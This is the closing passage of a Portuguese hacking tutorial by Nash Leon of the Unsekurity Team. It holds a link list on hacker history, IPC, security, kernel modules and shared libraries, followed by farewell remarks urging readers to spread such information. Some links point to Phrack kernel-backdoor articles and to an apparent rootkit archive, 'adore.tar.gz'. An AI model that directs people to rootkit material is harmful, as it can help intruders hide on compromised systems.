Eletronic Frountier Foundation. http://www.2600.com/ -> Quartel General do Hacker. http://www.inf.ufsc.br/barata/ -> Uma das HPs do zine Barata Eletrica. http://w3.to/fussador/ -> Informacoes sobre Operacao SunDevil no livro digital gratuito 'The Hacker Crackdown'. http://www.webcrunchers.com/crunch/ -> Home Page do phreak Capitao Crunch. * SOBRE IPC: http://www.cm.cf.ac.uk/Dave/C/CE.html http://www.ee.mu.oz.au/linux/programming/ http://www.ecst.csuchico.edu/~beej/guide/ipc * SOBRE PROBLEMAS BASICOS DE SEGURANCA: http://www.unixpower.org/security http://www.shmoo.com/securecode http://www.securityfocus.com/ Livro 'Hackers Expostos'. Autores: Stuart McClure e Joel Scambray Editora: Makron Books Maiores Informacoes: www.hackingexposed.com * SOBRE LKM: http://www.infowar.co.uk/thc/ -> Procure em Articles. http://www.phrack.com/ -> Procure por phrack 52 item 18. http://teso.scene.at/ -> Procure por adore.tar.gz http://Khg.redhat.com/HyperNews/get/Khg.html http://www.ee.mu.oz.au/linux/programming/ Livro 'Linux Device Drivers'. Autor: Alessandro Rubini. Mais informacoes em: http://www.marketbooks.com.br/ * SOBRE SHARED LIBRARIES: http://www.phrack.com/ -> Procure por phrack 51 item 7. http://bounce.to/unah16 -> Procure pelo Core Zine e omega.txt. * HOME PAGE ATUAL DO UNSEKURITY TEAM: http://unsekurity.virtualave.net/ * Outros Muito Interessantes: http://www.securenet.com.br/ http://www.bufferoverflow.org/ http://www.taldowin.com.br/ http://www.hacker.com.br/ http://www.absoluta.org/ 7.2 - Consideracoes Finais --------------------------- Mais um tutorial terminado.Se voce for ver, desde que comecamos a divulgar informacoes, publicamos algumas coisinhas interessantes.Espero poder ir avancando mais, mas se voce nao conseguiu pegar alguma coisa, nao desanime nunca!Entre em contato com o Unsekurity Team, se puder visitar o forum, vah lah e levante sua duvida, se pudermos, certamente ajudaremos.Este tutorial eh uma coletanea de txts que eu pretendia disponibilizar aos poucos, mas achei por certo unir tudo e publicar como estah, levando um fucador a cativar mais em busca de informacoes, exitem dezenas de outras tecnicas ainda para serem descritas e pesquisadas, aos poucos a gente vai publicando alguns materiais sobre elas. Queria agradecer a todo o Unsekurity Team e ao pessoal que vem dando apoio e nos ajudando, seja com criticas, sugestoes ou divulgando nosso material internet a fora, reconheco plenamente que sem a ajuda de voces nao conseguiriamos alcancar o numero de leitores e conhecedores das publicacoes que o Unsekurity Team disponibiliza.Sei que tem muito a ser feito ainda, e tambem quero dizer que isto tudo eh muito gratificante, e apesar do trabalho que dah, passar horas escrevendo e etc, no fundo a conciencia se alegra quando um trabalho eh enfim terminado e o mesmo eh divulgado.Se voce eh fucador e tem esta vontade de liberar informacoes, eu aconselho a voce: "VAH FUNDO!!FACA" ; Todos soh tem a ganhar com mais e mais pessoas divulgando informacoes Internet a fora. Um abraco. Nash Leon. ---------------------------------- EOF ----------------------------------